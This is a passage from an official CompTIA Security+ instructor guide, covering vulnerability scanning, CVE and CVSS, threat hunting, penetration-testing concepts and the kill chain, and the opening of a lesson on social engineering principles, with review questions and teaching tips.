shares, unused accounts, weak passwords, anti-virus configuration, and so on.
Each scanner is configured with a database of known software and configuration
vulnerabilities. The tool compiles a report about each vulnerability in its database that
was found to be present on each host. Each identified vulnerability is categorized and
assigned an impact warning. Most tools also suggest remediation techniques. This
information is highly sensitive, so use of these tools and the distribution of the reports
produced should be restricted to authorized hosts and user accounts.
Network vulnerability scanners are configured with information about known
vulnerabilities and configuration weaknesses for typical network hosts. These scanners
will be able to test common operating systems, desktop applications, and some
server applications. This is useful for general purpose scanning, but some types of
applications might need more rigorous analysis.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 59

Application and Web Application Scanners

A dedicated application scanner is configured with more detailed and specific
scripts to test for known attacks, as well as scanning for missing patches and weak
configurations. The best known class of application scanners are web application
scanners. Tools such as Nikto (cirt.net/Nikto2) look for known web exploits, such as SQL
injection and cross-site scripting (XSS), and may also analyze source code and database
security to detect unsecure programming practices. Other types of application scanner
would be optimized for a particular class of software, such as a database server.

Common Vulnerabilities and Exposures Show Slide(s)

An automated scanner needs to be kept up to date with information about known Common
vulnerabilities. This information is often described as a vulnerability feed, though the Vulnerabilities and
Nessus tool refers to these feeds as plug-ins, and OpenVAS refers to them as network Exposures
vulnerability tests (NVTs). Often, the vulnerability feed forms an important part of scan
vendors' commercial models, as the latest updates require a valid subscription to
acquire.

Checking feed status in the Greenbone Community Edition vulnerability manager.

(Screenshot: Greenbone Community Edition greenbone.net/en/community-edition.)

Vulnerability feeds make use of common identifiers to facilitate sharing of intelligence

data across different platforms. Many vulnerability scanners use the Security Content
Application Protocol (SCAP) to obtain feed or plug-in updates (scap.nist.gov). As well
as providing a mechanism for distributing the feed, SCAP defines ways to compare the
actual configuration of a system to a target-secure baseline plus various systems of
common identifiers. These identifiers supply a standard means for different products
to refer to a vulnerability or platform consistently.
Common Vulnerabilities and Exposures (CVE) is a dictionary of vulnerabilities in
published operating systems and applications software (cve.mitre.org). There are
several elements that make up a vulnerability's entry in the CVE:
• An identifier in the format: CVE-YYYY-####, where YYYY is the year the vulnerability
was discovered, and #### is at least four digits that indicate the order in which the
vulnerability was discovered.

• A brief description of the vulnerability.

• A reference list of URLs that supply more information on the vulnerability.

• The date the vulnerability entry was created.

The CVE dictionary provides the principal input for NIST's National Vulnerability
Database (nvd.nist.gov). The NVD supplements the CVE descriptions with additional
analysis, a criticality metric, calculated using the Common Vulnerability Scoring
System (CVSS), plus fix information.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 60 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

CVSS is maintained by the Forum of Incident Response and Security Teams

(first.org/cvss). CVSS metrics generate a score from 0 to 10 based on characteristics
of the vulnerability, such as whether it can be triggered remotely or needs local
access, whether user intervention is required, and so on. The scores are banded into
descriptions too:

Score Description
0.1+ Low
4.0+ Medium
7.0+ High
9.0+ Critical

Show Slide(s) Intrusive versus Non-Intrusive Scanning

Intrusive versus Non-
A network vulnerability scanner can be implemented purely as software or as a security
Intrusive Scanning appliance, connected to the network. Some scanners work remotely by contacting
the target host over the network. Other scanner types use agents installed locally on
Teaching each host to perform the scanning and transmit a report to a management server. For
Tip example, Nessus Professional allows remote scanning of hosts while Nessus Manager,
Ensure students can and Tenable Cloud can work with locally installed agent software.
distinguish these
scanning techniques
and identify
drawbacks, such as
time to complete,
inaccurate results, and
risk of system crash.

Nessus Manager web management interface.

(Screenshot used with permission from Tenable Network Security.)

Scan intrusiveness is a measure of how much the scanner interacts with the target.
Non-intrusive (or passive) scanning means analyzing indirect evidence, such as the
types of traffic generated by a device. A passive scanner, the Zeek Network Security
Monitor (zeek.org) being one example, analyzes a network capture and tries to identify
policy deviations or CVE matches. This type of scanning has the least impact on the
network and on hosts, but is less likely to identify vulnerabilities comprehensively.
Passive scanning might be used by a threat actor to scan a network stealthily. You might
use passive scanning as a technique where active scanning poses a serious risk to system
stability, such as scanning print devices, VoIP handsets, or embedded systems networks.
Active scanning means probing the device's configuration using some sort of network
connection with the target. Active scanning consumes more network bandwidth and
runs the risk of crashing the target of the scan or causing some other sort of outage.
Agent-based scanning is also an active technique.
The most intrusive type of vulnerability scanner does not stop at detecting a
vulnerability. Exploitation frameworks contain default scripts to try to use a
vulnerability to run code or otherwise gain access to the system. This type of highly
intrusive testing is more typical of penetration testing than automated vulnerability
scanning.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 61

Credentialed versus Non-Credentialed Scanning Show Slide(s)

A non-credentialed scan is one that proceeds by directing test packets at a host Credentialed versus
without being able to log on to the OS or application. The view obtained is the one Non-Credentialed
that the host exposes to an unprivileged user on the network. The test routines may Scanning
be able to include things such as using default passwords for service accounts and
device management interfaces, but they are not given privileged access. While you
may discover more weaknesses with a credentialed scan, you sometimes will want
to narrow your focus to think like an attacker who doesn't have specific high-level
permissions or total administrative access. Non-credentialed scanning is often the
most appropriate technique for external assessment of the network perimeter or
when performing web application scanning.
A credentialed scan is given a user account with log-on rights to various hosts,
plus whatever other permissions are appropriate for the testing routines. This
sort of test allows much more in-depth analysis, especially in detecting when
applications or security settings may be misconfigured. It also shows what an
insider attack, or one where the attacker has compromised a user account, may
be able to achieve. A credentialed scan is a more intrusive type of scan than
non-credentialed scanning.

Configuring credentials for use in target (scope) definitions in Greenbone OpenVAS as installed on Kali
Linux. (Screenshot used with permission from Greenbone Networks, http://www.openvas.org.)

Create dedicated network accounts for use by the vulnerability scanner only. Ensure that the
credentials for these accounts are stored securely on the scan server.
Show Slide(s)

False Positives, False

Negatives, and Log
False Positives, False Negatives, and Log Review Review

A scanning tool will generate a summary report of all vulnerabilities discovered during Teaching
the scan directly after execution completes. These reports color-code vulnerabilities Tip
in terms of their criticality, with red typically denoting a weakness that requires
Students need to
immediate attention. You can usually view vulnerabilities by scope (most critical across know the meanings of
all hosts) or by host. The report should include or link to specific details about each false positive and false
vulnerability and how hosts can be remediated. negative.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 62 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Scan report listing multiple high-severity vulnerabilities found in a Windows host. (Screenshot:
Greenbone Community Edition greenbone.net/en/community-edition.)

Intrusive/active scanning is more likely to detect a wider range of vulnerabilities in host

systems and can reduce false positives. A false positive is something that is identified
by a scanner or other assessment tool as being a vulnerability, when in fact it is not.
For example, assume that a vulnerability scan identifies an open port on the firewall.
Because a certain brand of malware has been known to use this port, the tool labels
this as a security risk, and recommends that you close the port. However, the port is
not open on your system. Researching the issue costs time and effort, and if excessive
false positives are thrown by a vulnerability scan, it is easy to disregard the scans
entirely, which could lead to larger problems.
You should also be alert to the possibility of false negatives–that is, potential
vulnerabilities that are not identified in a scan. This risk can be mitigated somewhat by
running repeat scans periodically and by using scanners from more than one vendor.
Also, because automated scan plug-ins depend on pre-compiled scripts, they do not
reproduce the success that a skilled and determined hacker might be capable of and
can therefore create a false sense of security.
Reviewing related system and network logs can enhance the vulnerability report
validation process. As an example, assume that your vulnerability scanner identified a
running process on a Windows machine. According to the scanner, the application that
creates this process is known to be unstable, causing the operating system to lock up
and crash other processes and services. When you search the computer's event logs,
you notice several entries over the past couple of weeks indicate the process has failed.
Additional entries show that a few other processes fail right after. In this instance,
you've used a relevant data source to help confirm that the vulnerability alert is, in
fact, valid.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 63

Configuration Review Show Slide(s)

As well as matching known software exploits to the versions of software found running Configuration Review
on a network, a vulnerability scan assesses the configuration of security controls and
application settings and permissions compared to established benchmarks. It might
try to identify whether there is a lack of controls that might be considered necessary or
whether there is any misconfiguration of the system that would make the controls less
effective or ineffective, such as anti-virus software not being updated, or management
passwords left configured to the default. Generally speaking, this sort of testing
requires a credentialed scan. It also requires specific information about best practices
in configuring the particular application or security control. These are provided by
listing the controls and appropriate configuration settings in a template.
Security content automation protocol (SCAP) allows compatible scanners to determine
whether a computer meets a configuration baseline. SCAP uses several components to
accomplish this function, but some of the most important are:
• Open Vulnerability and Assessment Language (OVAL)—an XML schema for
describing system security state and querying vulnerability reports and information.

• Extensible Configuration Checklist Description Format (XCCDF)—an XML schema for

developing and auditing best-practice configuration checklists and rules. Previously,
best-practice guides might have been written in prose for system administrators to
apply manually. XCCDF provides a machine-readable format that can be applied and
validated using compatible software.

Comparing a local network security policy to a template. The minimum password length set
in the local policy is much less than is recommended in the template.
(Screenshot used with permission from Microsoft.)

Some scanners measure systems and configuration settings against best practice
frameworks. This is referred to as a compliance scan. This might be necessary for
regulatory compliance or you might voluntarily want to conform to externally agreed
standards of best practice.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 64 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Scan templates supporting compliance scans in Nessus Manager.

(Screenshot used with permission from Tenable Network Security.)

Show Slide(s) Threat Hunting

Threat Hunting
Where vulnerability scanning uses lists of patches and standard definitions of baseline
configurations, threat hunting is an assessment technique that utilizes insights
Teaching gained from threat intelligence to proactively discover whether there is evidence of
Tip TTPs already present within the network or system. This contrasts with a reactive
Threat hunting is a
process that is only triggered when alert conditions are reported through an incident
new addition to the management system. You can also contrast threat hunting with penetration testing.
syllabus. Explain how Where a pen test attempts to achieve some sort of system intrusion or concrete
its role compares to demonstration of weakness, threat hunting is based only on analysis of data within the
vulnerability scanning system. To that extent, it is less potentially disruptive than pen testing.
and penetration
testing. A threat hunting project is likely to be led by senior security analysts, but some general
points to observe include:
• Advisories and bulletins—threat hunting is a labor-intensive activity and so needs
to be performed with clear goals and resources. Threat hunting usually proceeds
according to some hypothesis of possible threat. Security bulletins and advisories
from vendors and security researchers about new TTPs and/or vulnerabilities may
be the trigger for establishing a threat hunt. For example, if threat intelligence
reveals that Windows desktops in many companies are being infected with a new
type of malware that is not being blocked by any current malware definitions, you
might initiate the following threat-hunting plan to detect whether the malware is
also infecting your systems.

• Intelligence fusion and threat data—threat hunting can be performed by manual

analysis of network and log data, but this is a very lengthy process. An organization
with a security information and event management (SIEM) and threat analytics
platform can apply intelligence fusion techniques. The analytics platform is kept up
to date with a TTP and IoC threat data feed. Analysts can develop queries and filters

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 65

to correlate threat data against on-premises data from network traffic and logs. This
process may also be partially or wholly automated using AI-assisted analysis and
correlation.

• Maneuver—when investigating a suspected live threat, you must remember the

adversarial nature of hacking. A capable threat actor is likely to have anticipated
the likelihood of threat hunting, and attempted to deploy countermeasures
to frustrate detection. For example, the attacker may trigger a DDoS attack to
divert the security team's attention, and then attempt to accelerate plans to
achieve actions on objectives. Maneuver is a military doctrine term relating to
obtaining positional advantage (ccdcoe.org/uploads/2012/01/3_3_Applegate_
ThePrincipleOfManeuverInCyberOperations.pdf). As an example of defensive
maneuver, threat hunting might use passive discovery techniques so that threat
actors are given no hint that an intrusion has been discovered before the security
team has a containment, eradication, and recovery plan.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 66 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Vulnerability Scanning Techniques
Answer the following questions:

1. You have received an urgent threat advisory and need to configure a

network vulnerability scan to check for the presence of a related CVE
on your network. What configuration check should you make in the
vulnerability scanning software before running the scan?

Verify that the vulnerability feed/plug-in/test has been updated with the specific CVE
that you need to test for.

2. You have configured a network vulnerability scanner for an engineering

company. When running a scan, multiple sensors within an embedded
systems network became unresponsive, causing a production shutdown.
What alternative method of vulnerability scanning should be used for the
embedded systems network?

A fully non-intrusive solution should be adopted, such as sniffing traffic using a

network tap or mirror port. Using the network traffic to detect vulnerabilities rather
than actively probing each device will not cause system stability issues (though there is
greater risk of false positive and false negative results).

3. A vulnerability scan reports that a CVE associated with CentOS Linux is

present on a host, but you have established that the host is not running
CentOS. What type of scanning error event is this?

False positive.

4. A small company that you provide security consulting support to has

resisted investing in an event management and threat intelligence
platform. The CEO has become concerned about an APT risk known to
target supply chains within the company's industry sector and wants you
to scan their systems for any sign that they have been targeted already.
What are the additional challenges of meeting this request, given the lack of
investment?

Collecting network traffic and log data from multiple sources and then analyzing
it manually will require many hours of analyst time. The use of threat feeds and
intelligence fusion to automate parts of this analysis effort would enable a much
swifter response.

5. What term relates to assessment techniques that avoid alerting threat

actors?

This can be referred to as maneuver.

Lesson 3: Performing Security Assessments | Topic 3C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 67

Topic 3D
Explain Penetration Testing Concepts

EXAM OBJECTIVES COVERED Teaching

1.8 Explain the techniques used in penetration testing Tip
As this is an explain-
level objective,
students only need
Automated vulnerability scanning does not test what a highly capable threat actor
an overview of
might be able to achieve. Penetration testing is a type of assessment that adopts penetration testing,
known tactics and techniques to attempt intrusions. Devising, planning, and leading and not detailed
penetration tests is a specialized security role, but at a junior level you are likely practical procedures.
to participate in this type of engagement, so you should be able to explain the
fundamental principles.

Penetration Testing Show Slide(s)

A penetration test—often shortened to pen test—uses authorized hacking techniques Penetration Testing
to discover exploitable weaknesses in the target's security systems. Pen testing is also
referred to as ethical hacking. A pen test might involve the following steps: Teaching
Tip
• Verify a threat exists—use surveillance, social engineering, network scanners, and
vulnerability assessment tools to identify a vector by which vulnerabilities that could Make sure students
can distinguish
be exploited.
vulnerability
assessment from pen
• Bypass security controls—look for easy ways to attack the system. For example, if
testing.
the network is strongly protected by a firewall, is it possible to gain physical access
to a computer in the building and run malware from a USB stick?

• Actively test security controls—probe controls for configuration weaknesses and

errors, such as weak passwords or software vulnerabilities.

• Exploit vulnerabilities—prove that a vulnerability is high risk by exploiting it to gain

access to data or install backdoors.

The key difference from passive vulnerability assessment is that an attempt is made
to actively test security controls and exploit any vulnerabilities discovered. Pen testing
is an intrusive assessment technique. For example, a vulnerability scan may reveal
that an SQL Server has not been patched to safeguard against a known exploit. A
penetration test would attempt to use the exploit to perform code injection and
compromise and "own" (or "pwn" in hacker idiom) the server. This provides active
testing of security controls. Even though the potential for the exploit exists, in practice
the permissions on the server might prevent an attacker from using it. This would not
be identified by a vulnerability scan, but should be proven or not proven to be the case
by penetration testing.

Rules of Engagement Show Slide(s)

Security assessments might be performed by employees or may be contracted to Rules of Engagement

consultants or other third parties. Rules of engagement specify what activity is
permitted or not permitted. These rules should be made explicit in a contractual
agreement. For example, a pen test should have a concrete objective and scope rather

Lesson 3: Performing Security Assessments | Topic 3D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 68 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Teaching than a vague type of "Break into the network" aim. There may be systems and data
Tip that the penetration tester should not attempt to access or exploit. Where a pen test
Make sure students involves third-party services (such as a cloud provider), authorization to conduct the
can distinguish test must also be sought from the third party.
between black box,
white box, and gray The Pentest-Standard website provides invaluable commentary on the conduct of pen tests
box. (pentest-standard.readthedocs.io/en/latest/tree.html).

Attack Profile
Attacks come from different sources and motivations. You may wish to test both
resistance to external (targeted and untargeted) and insider threats. You need to
determine how much information about the network to provide to the consultant:
• Black box (or unknown environment)—the consultant is given no privileged
information about the network and its security systems. This type of test would
require the tester to perform a reconnaissance phase. Black box tests are useful for
simulating the behavior of an external threat.

• White box (or known environment)—the consultant is given complete access to

information about the network. This type of test is sometimes conducted as a
follow-up to a black box test to fully evaluate flaws discovered during the black box
test. The tester skips the reconnaissance phase in this type of test. White box tests
are useful for simulating the behavior of a privileged insider threat.

• Gray box (or partially known environment)—the consultant is given some

information; typically, this would resemble the knowledge of junior or non-IT
staff to model particular types of insider threats. This type of test requires partial
reconnaissance on the part of the tester. Gray box tests are useful for simulating
the behavior of an unprivileged insider threat.

A test where the attacker has no knowledge of the system but where staff are informed
that a test will take place is referred to as a blind (or single-blind) test. A test where staff
are not made aware that a pen test will take place is referred to as a double-blind test.

Bug Bounty
Show Slide(s)
A bug bounty is a program operated by a software vendor or website operator where
rewards are given for reporting vulnerabilities. Where a pen test is performed on a
Exercise Types contractual basis, costed by the consultant, a bug bounty program is a way of crowd
sourcing detection of vulnerabilities. Some bug bounties are operated as internal
Teaching programs, with rewards for employees only. Most are open to public submissions
Tip (tripwire.com/state-of-security/security-data-protection/cyber-security/essential-bug-
Note that purple is not bounty-programs).
necessarily a separate
team (possibly one
or more facilitators), Exercise Types
but a different way
of structuring the Some of the techniques used in penetration testing may also be employed as an
exercise. exercise between two competing teams:
You might want
to note the use of • Red team—performs the offensive role to try to infiltrate the target.
"rainbow" teams
to include DevOps • Blue team—performs the defensive role by operating monitoring and alerting
(blackhat.com/docs/ controls to detect and prevent the infiltration.
us-17/wednesday/
us-17-Wright-Orange- There will also often be a white team, which sets the rules of engagement and
Is-The-New-Purple-wp. monitors the exercise, providing arbitration and guidance, if necessary. If the red team
pdf). is third party, the white team will include a representative of the consultancy company.

Lesson 3: Performing Security Assessments | Topic 3D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 69

One critical task of the white team is to halt the exercise should it become too risky. For
example, an actual threat actor may attempt to piggyback a backdoor established by
the red team.
In a red versus blue team exercise, the typical process is for the red team to attempt
the intrusion and either succeed or fail, and then to write a summary report. This
confrontational structure does not always promote constructive development and
improvement. In a purple team exercise, the red and blue teams meet for regular
debriefs while the exercise is ongoing. The red team might reveal where they have been
successful and collaborate with the blue team on working out a detection mechanism.
This process might be assisted by purple team members acting as facilitators. The
drawback of a purple team exercise is that without blind or double-blind conditions,
there is no simulation of a hostile adversary and the stresses of dealing with that.

Passive and Active Reconnaissance Show Slide(s)

Analysis of adversary TTPs has established various "kill chain" models of the way Passive and Active
modern cyber-attacks are conducted. A penetration testing engagement will generally Reconnaissance
use the same sort of techniques.
Teaching
In the first reconnaissance phase for black box testing, the pen tester establishes a
Tip
profile of the target of investigation and surveys the attack surface for weaknesses.
Reconnaissance activities can be classed as passive or active. Passive reconnaissance is Make sure students
understand the
not likely to alert the target of the investigation as it means querying publicly available
terminology and
information. Active reconnaissance has more risk of detection. Active techniques might can distinguish
involve gaining physical access to premises or using scanning tools on the target's web passive from active
services and other networks. techniques.

• Open Source Intelligence (OSINT)—using web search tools, social media, and
sites that scan for vulnerabilities in Internet-connected devices and services
(securitytrails.com/blog/osint-tools) to obtain information about the target. OSINT
aggregation tools, such as theHarvester (github.com/laramies/theHarvester), collect
and organize this data from multiple sources. OSINT requires almost no privileged
access as it relies on finding information that the company makes publicly available,
whether intentionally or not. This is a passive technique.

• Social engineering—this refers to obtaining information, physical access to

premises, or even access to a user account through the art of persuasion. While the
amount of interaction may vary, this can be classed as an active technique.

• Footprinting—using software tools, such as Nmap (nmap.org), to obtain

information about a host or network topology. Scans may be launched against
web hosts or against wired or wireless network segments, if the attacker can gain
physical access to them. While passive footprinting is possible (by limiting it to
packet sniffing), most scan techniques require active network connections with the
target that can be picked up by detection software.

• War driving—mapping the location and type (frequency channel and security
method) of wireless networks operated by the target. Some of these networks may
be accessible from outside the building. Simply sniffing the presence of wireless
networks is a passive activity, though there is the risk of being observed by security
guards or cameras. An attacker might be able to position rogue access points, such
as the Hak5 Pineapple (shop.hak5.org/products/wifi-pineapple), or perform other
wireless attacks using intelligence gathered from war driving.

• Drones/unmanned aerial vehicle (UAV)—allow the tester to reconnoiter campus

premises, and even to perform war driving from the air (war flying). A tool such as the
Wi-Fi Pineapple can easily be incorporated on a drone (hackaday.com/2018/05/27/
watch-dogs-inspired-hacking-drone-takes-flight). Drones also provide a vector for
one enduringly popular social engineering technique; dropping infected USB media

Lesson 3: Performing Security Assessments | Topic 3D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 70 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

around premises, with the expectation that at least some of them will be picked up
and used (blackhat.com/docs/us-16/materials/us-16-Bursztein-Does-Dropping-USB-
Drives-In-Parking-Lots-And-Other-Places-Really-Work.pdf).

Show Slide(s) Pen Test Attack Life Cycle

Pen Test Attack Life
In the kill chain attack life cycle, reconnaissance is followed by an initial exploitation
Cycle phase where a software tool is used to gain some sort of access to the target's
network. This foothold might be accomplished using a phishing email and payload or
Teaching by obtaining credentials via social engineering. Having gained the foothold, the pen
Tip tester can then set about securing and widening access. A number of techniques are
Make sure students required:
can use this
• Persistence—the tester's ability to reconnect to the compromised host and use
terminology.
it as a remote access tool (RAT) or backdoor. To do this, the tester must establish
a command and control (C2 or C&C) network to use to control the compromised
host, upload additional attack tools, and download exfiltrated data. The connection
to the compromised host will typically require a malware executable to run after
shut down/log off events and a connection to a network port and the attacker's IP
address to be available.

• Privilege escalation—persistence is followed by further reconnaissance, where

the pen tester attempts to map out the internal network and discover the services
running on it and accounts configured to access it. Moving within the network or
accessing data assets are likely to require higher privilege levels. For example,
the original malware may have run with local administrator privileges on a client
workstation or as the Apache user on a web server. Another exploit might allow
malware to execute with system/root privileges, or to use network administrator
privileges on other hosts, such as application servers.

• Lateral movement—gaining control over other hosts. This is done partly to

discover more opportunities to widen access (harvesting credentials, detecting
software vulnerabilities, and gathering other such "loot"), partly to identify where
valuable data assets might be located, and partly to evade detection. Lateral
movement usually involves executing the attack tools over remote process shares
or using scripting tools, such as PowerShell.

• Pivoting—hosts that hold the most valuable data are not normally able to access
external networks directly. If the pen tester achieves a foothold on a perimeter
server, a pivot allows them to bypass a network boundary and compromise servers
on an inside network. A pivot is normally accomplished using remote access and
tunneling protocols, such as Secure Shell (SSH), virtual private networking (VPN), or
remote desktop.

• Actions on Objectives—for a threat actor, this means stealing data from one or
more systems (data exfiltration). From the perspective of a pen tester, it would be a
matter of the scope definition whether this would be attempted. In most cases, it is
usually sufficient to show that actions on objectives could be achieved.

• Cleanup—for a threat actor, this means removing evidence of the attack, or at least
evidence that could implicate the threat actor. For a pen tester, this phase means
removing any backdoors or tools and ensuring that the system is not less secure
than the pre-engagement state.

Lesson 3: Performing Security Assessments | Topic 3D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 71

Review Activity:
Penetration Testing Concepts
Answer the following questions:

1. A website owner wants to evaluate whether the site security mitigates risks
from criminal syndicates, assuming no risk of insider threat. What type of
penetration testing engagement will most closely simulate this adversary
capability and resources?

An threat actor has no privileged information about the website configuration or

security controls. This is simulated in a black box (or blind) pen test engagement.

2. You are agreeing a proposal to run a series of team-based exercises to test

security controls under different scenarios. You propose using purple team
testing, but the contracting company is only familiar with the concept of red
and blue teams. What is the advantage of running a purple team exercise?

In a red versus blue team, there is no contact between the teams, and no opportunity
to collaborate on improving security controls. In a purple team exercise, there is
regular contact and knowledge sharing between the teams throughout the progression
of the exercise.

3. Why should an Internet service provider (ISP) be informed before pen

testing on a hosted website takes place?

ISPs monitor their networks for suspicious traffic and may block the test attempts. The
pen test may also involve equipment owned and operated by the ISP.

4. What tools are used for OSINT?

Open-source intelligence is a reconnaissance activity to gather information about the

target from any public source. The basic tool is web searches/queries plus sites that
scan/scrape/monitor vulnerabilities in Internet-facing services and devices. There are
also specialist OSINT tools, such as theHarvester, that aggregate data from queries for
different resources.

5. In the context of penetration testing, what is persistence?

Persistence refers to the tester's ability to reconnect to the compromised host and use
it as a remote access tool (RAT) or backdoor.

Lesson 3: Performing Security Assessments | Topic 3D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 72 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 3
Summary
Teaching You should be able to summarize types of security assessments, such as vulnerability,
Tip threat hunting, and penetration testing. You should also be able to explain general
Check that students procedures for conducting these assessments.
are confident about
the content that has
been covered. If there
Guidelines for Performing Security Assessments
is time, revisit any
content examples that
Follow these guidelines when you consider the use of security assessments:
they have questions • Identify the procedures and tools that are required to scan the attack surface for
about. If you have
vulnerabilities. This might mean provisioning passive network scanners, active
used all the available
time for this lesson remote or agent-based network scanners, and application or web application
block, note the issues, scanners.
and schedule time for
a review later in the • Develop a configuration and maintenance plan to ensure secure use of any
course. credentialed scans and updates to vulnerability feeds.

Interaction • Run scans regularly and review the results to identify false positives and false
Opportunity negatives, using log review and additional CVE information to validate results if
Optionally, discuss necessary.
with students which
security assessments • Schedule configuration reviews and remediation plans, using CVSS vulnerability
they have used in their criticality to prioritize actions.
workplaces, or which
could be of most • Consider implementing threat hunting programs, monitoring advisories and
benefit. bulletins for new threat sources. Note that threat hunting might require investment
in resources to supply intelligence fusion and threat data.

• Consider implementing penetration testing exercises, ensuring that these are set
up with clear rules of engagement for red/blue or purple team exercise types and
black/white/gray box disclosure.

• Run penetration tests using a structured kill chain life cycle, with reconnaissance,
exploitation, persistence, privilege escalation, lateral movement/pivoting, actions on
objectives, and cleanup phases.

Lesson 3: Performing Security Assessments

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 4
Identifying Social
Engineering and Malware

LESSON INTRODUCTION Teaching

Tip
It is not sufficient for security assessments to focus solely on software vulnerabilities This lesson concludes
and configuration errors. As well as these hardware and software systems, the the "assess" phase
attack surface contains a company's employees and the degree to which they can of the course by
be exploited to gain unauthorized access or privileges. Threat actors use social looking at the
engineering techniques to elicit information, obtain access to premises, and to trick mechanisms used to
effect an intrusion
users into running malicious code. You must understand these attacks and train
and identifying social
your colleagues and customers with the ability to detect and report them. As well as engineering and
being able to explain these techniques, you must be able to describe the indicators malware TTPs and
associated with different types of malware and analyze your systems for possible indicators.
infections.

Lesson Objectives
In this lesson, you will:
• Compare and contrast social engineering techniques.

• Analyze indicators of malware-based attacks.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 74 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 4A
Compare and Contrast Social
Engineering Techniques

Teaching EXAM OBJECTIVES COVERED

Tip 1.1 Compare and contrast different types of social engineering techniques
Social engineering is
established as a topic
at A+ level, so students
should be familiar with People—employees, contractors, suppliers, and customers—represent part of the
the basics. Focus on
principles, the more
attack surface of any organization. A person with permissions on the system is a
specific techniques, potential target of social engineering. Being able to compare and contrast social
and the new additions engineering techniques will help you to lead security awareness training and to develop
for this syllabus policies and other security controls to mitigate these risks.
version.

Show Slide(s) Social Engineering

Adversaries can use a diverse range of techniques to compromise a security system.
Social Engineering
A prerequisite of many types of attacks is to obtain information about the network
Teaching and security system. Social engineering refers to means of either eliciting information
Tip from someone or getting them to perform some action for the threat actor. It can also
be referred to as "hacking the human." Social engineering might be used to gather
Note that social
engineering intelligence as reconnaissance in preparation for an intrusion, or it might be used to
includes written effect an actual intrusion. Typical social engineering intrusion scenarios include:
communication as
• An attacker creates an executable file that prompts a network user for their
well as face-to-face
interaction. password, and then records whatever the user inputs. The attacker then emails
You can refer students
the executable file to the user with the story that the user must double-click the file
to Kevin Mitnick’s and log on to the network again to clear up some logon problems the organization
books (mitnicksecurity. has been experiencing that morning. After the user complies, the attacker now has
com) and Bruce access to their network credentials.
Schneier's website
(schneier.com/essays/ • An attacker contacts the help desk pretending to be a remote sales representative
social). who needs assistance setting up remote access. Through a series of phone calls,
the attacker obtains the name/address of the remote access server and login
credentials, in addition to phone numbers for remote access and for accessing the
Show Slide(s) organization's private phone and voice-mail system.

Social Engineering
• An attacker triggers a fire alarm and then slips into the building during the
Principles confusion and attaches a monitoring device to a network port.

Interaction
Opportunity Social Engineering Principles
Ask whether any Social engineering is one of the most common and successful malicious techniques.
students have
Because it exploits basic human trust, social engineering has proven to be a particularly
been subjected to
social engineering effective way of manipulating people into performing actions that they might not
attempts and what the otherwise perform. To be persuasive, social engineering attacks rely on one or more of
experience was like. the following principles.

Lesson 4: Identifying Social Engineering and Malware | Topic 4A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 75

Familiarity/Liking
Some people have the sort of natural charisma that allows them to persuade others
to do as they request. One of the basic tools of a social engineer is simply to be affable
and likable, and to present the requests they make as completely reasonable and
unobjectionable. This approach is relatively low-risk as even if the request is refused,
it is less likely to cause suspicion and the social engineer may be able to move on to a
different target without being detected.

Consensus/Social Proof
The principle of consensus or social proof refers to the fact that without an explicit
instruction to behave in a certain way, many people will act just as they think others
would act. A social engineering attack can use this instinct either to persuade the
target that to refuse a request would be odd ("That's not something anyone else has
ever said no to") or to exploit polite behavior to slip into a building while someone
holds the door for them. As another example, an attacker may be able to fool a user
into believing that a malicious website is actually legitimate by posting numerous fake
reviews and testimonials praising the site. The victim, believing many different people
have judged the site acceptable, takes this as evidence of the site's legitimacy and
places their trust in it.

Authority and Intimidation

Many people find it difficult to refuse a request by someone they perceive as superior
in rank or expertise. Social engineers can try to exploit this behavior to intimidate
their target by pretending to be a senior executive. An attack might be launched by
impersonating someone who would often be deferred to, such as a police officer,
judge, or doctor. Another technique is using spurious technical arguments and jargon.
